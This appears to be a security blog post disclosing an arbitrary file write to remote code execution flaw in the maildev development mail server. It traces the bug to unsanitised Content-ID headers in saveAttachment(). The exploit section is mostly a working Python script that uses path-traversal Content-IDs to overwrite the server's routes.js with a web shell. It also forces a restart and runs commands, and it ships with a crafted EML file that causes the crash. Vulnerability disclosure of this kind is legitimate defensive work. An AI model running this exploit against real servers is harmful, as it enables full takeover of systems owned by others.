Do not use `maildev` anyway 💣

Do not use `maildev` anyway 💣
Seoul, Korea in December 🇰🇷

Introduce

Do you guys know maildev application to run temporary mail server? maildev is open-sourced SMTP Server + Web Interface for viewing and testing emails during development. To say conclusionally, DO NOT USE THIS SOFTWARE. Hackers can force-write existing source codes and completely takeover the server.

This program has not been updated or patched despite serious security weakness for  long time. This weakness also has been a ingredient of web security challenge named '0-day' in CODEGATE 2023. Today I'm going to share this serious security vulnerability that found from this open-sourced software.

[Vulnerability] Arbitrary File Write leading to Remote Code Execution (RCE) · Issue #467 · maildev/maildev
We (The organizing members of the international cybersecurity competition CODEGATE - https://codegate2023.org/) has found a vulnerability that could possibly overwrite any files by sending a malici...

Settings Before Analysis 🛠

There are several methods to install the maildev service on your machine. However, for this demonstration, I will utilize the default Docker image of maildev, primarily due to its versatility.

1. Download maildev Image from docker-compose.yml

Below is an example of the docker-compose.yml file, as found in the maildev GitHub repository.

version: '3'
services:
  maildev:
    image: maildev/maildev
    restart: always
    environment:
      - TZ=Asia/Shanghai
      - MAILDEV_WEB_PORT=1080
      - MAILDEV_SMTP_PORT=1025
    ports:
      - "8080:1080"
      - "8025:1025"
    logging:
      driver: "json-file"
      options:
        max-size: "1m"

It's important to note that the restart: always directive is included in the configuration. This ensures that the server automatically restarts if it encounters any issues. Additionally, this setup permits the execution of arbitrary JavaScript code.

2. Copy source codes

While examining the running processes with the ps command, I checked some active processes.

 $ sudo docker exec -it maildev_maildev_1 /bin/sh
 ~ $ ps -aef
PID   USER     TIME  COMMAND
    1 node      0:00 node bin/maildev
   91 node      0:00 /bin/sh
  301 node      0:00 ps -aef

This prompted me to copy the files from the Docker container.

$ sudo docker cp maildev_maildev_1:/home/node ./src
copying source codes

It's not uncommon to encounter discrepancies between the source code in a Docker image and its corresponding GitHub repository. To ensure accuracy, I always make it a point to check the source code files within the Docker image. Therefore, I transferred these files to my host machine for thorough analysis.

With this step complete, we're now fully prepared to begin the in-depth analysis.

Analysis 🔬

We will focus our analysis on the maildev/lib/mailserver.js file. Let's examine it in detail.

// Save an attachment
function saveAttachment (id, attachment) {
  if (!fs.existsSync(path.join(mailServer.mailDir, id))) {
    fs.mkdirSync(path.join(mailServer.mailDir, id))
  }
  const output = fs.createWriteStream(
    path.join(mailServer.mailDir, id, attachment.contentId)  // 🎇
  )
  attachment.stream.pipe(output)
}
maildev/lib/mailserver.js

The saveAttachment() function is designed to handle email attachments. It accesses the metadata of files attached to emails, and writes these files to a specified path, which is generated using the attachment.contentId attribute.

What's Content-Id ?

TheContent-ID (Content Identifier) is a header used in MIME (Multipurpose Internet Mail Extensions) parts of an email. Its primary purpose is to uniquely identify MIME entities in a multipart email message. Here's an overview of what Content-ID is and what it's used for:

  • In a multipart email, one part might be the HTML body of the message, and another part might be an image or other media.
  • The image part will have a Content-ID header (e.g., Content-ID: <image123>).
  • In the HTML body, this image can be referenced and displayed inline using the Content-ID (e.g., <img src="cid:image123">).
  • Email clients that display HTML will recognize this cid: reference and display the image inline at that point in the HTML.

Exploring the Vulnerability

The vulnerability arises because the Content-Id headers can include special characters inserted by hackers. As a result, the saveAttachment() function might be exploited to write arbitrary files.

Exploitation Strategy 🏹

The proposed exploit process involves the following steps:

  1. Upload two files: an EML file and a web shell file.
  2. Trigger a server restart by accessing /reloadMailsFromDirectory. If a JavaScript error occurs, the server's code will be reloaded due to the 'restart: always' setting in docker-compose.yml.
  3. Gain access through the web shell and achieve control.

Exploit 🪓

import time
import smtplib
import requests
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
from pathlib import Path

# Email configuration settings
smtp_server = '192.168.45.90'
smtp_port = 8025
sender_email = 'sender@example.com'
sender_password = 'password'  # Note: Ensure secure handling of passwords in production
recipient_email = 'recipient@example.com'

# Create the base email message
msg = MIMEMultipart()
msg['Subject'] = 'Pwned!'
msg['From'] = sender_email
msg['To'] = recipient_email
msg.attach(MIMEText('pwned', 'plain'))

# Function to attach a file with a specific content ID to the email message
def attach_file_with_content_id(filepath, content_id):
    """
    Attach a file to the email with a given content ID.

    Args:
        filepath (str): Path to the file to be attached.
        content_id (str): Content ID for the file.
    """
    file_path = Path(filepath)
    with open(file_path, 'rb') as file:
        file_data = file.read()
        file_attachment = MIMEApplication(file_data, Name=file_path.name)
        file_attachment['Content-Disposition'] = f'attachment; filename="{file_path.name}"'
        file_attachment.add_header('Content-ID', f'<{content_id}>')
        msg.attach(file_attachment)

# Attaching files to the email
attach_file_with_content_id('./test.eml', '../../../../tmp/maildev-1/test.eml')
attach_file_with_content_id('./backdoor.js', '../../../../../../../../home/node/lib/routes.js')

# Function to send the email
def send_email():
    """
    Send the prepared email using SMTP.
    """
    with smtplib.SMTP(smtp_server, smtp_port) as server:
        server.send_message(msg)

send_email()
print("[INFO] Email with webshell attachment sent.")

# Restarting the MailDev server
print("[INFO] Requesting `maildev` server restart.")
session = requests.Session()
session.get("http://192.168.45.90:8080/reloadMailsFromDirectory")
time.sleep(5)  # Waiting for server restart

# Accessing the webshell and executing a command
print("[SUCCESS] Webshell is now accessible.")
response = session.get("http://192.168.45.90:8080/shell", params={"c": "id"})
print("$ id")
print(response.text)

Here is the content of the test.eml file, specifically crafted to trigger an error and cause the server to restart.

Content-Type: multipart/mixed; boundary="===============8426122101029461758=="
MIME-Version: 1.0
Subject: test
From: sender@example.com
To: recipient@example.com

--===============8426122101029461758==
Content-Type: textqwer123232/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit

qwer
--===============8426122101029461758==
Content-Type: application/octet-stream; Name="attachment1.txt"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="attachment1.txt"
Content-ID: <../qwerqwer/qwer../>

dGVzdAp0ZXN0CnRlc3QKCg==

--===============8426122101029461758==--
test.eml
sudo docker-compose logs -f
the result

Conclusion

It's advisable to exercise caution with maildev; relying on it solely for the sake of rapid development can lead to potential vulnerabilities.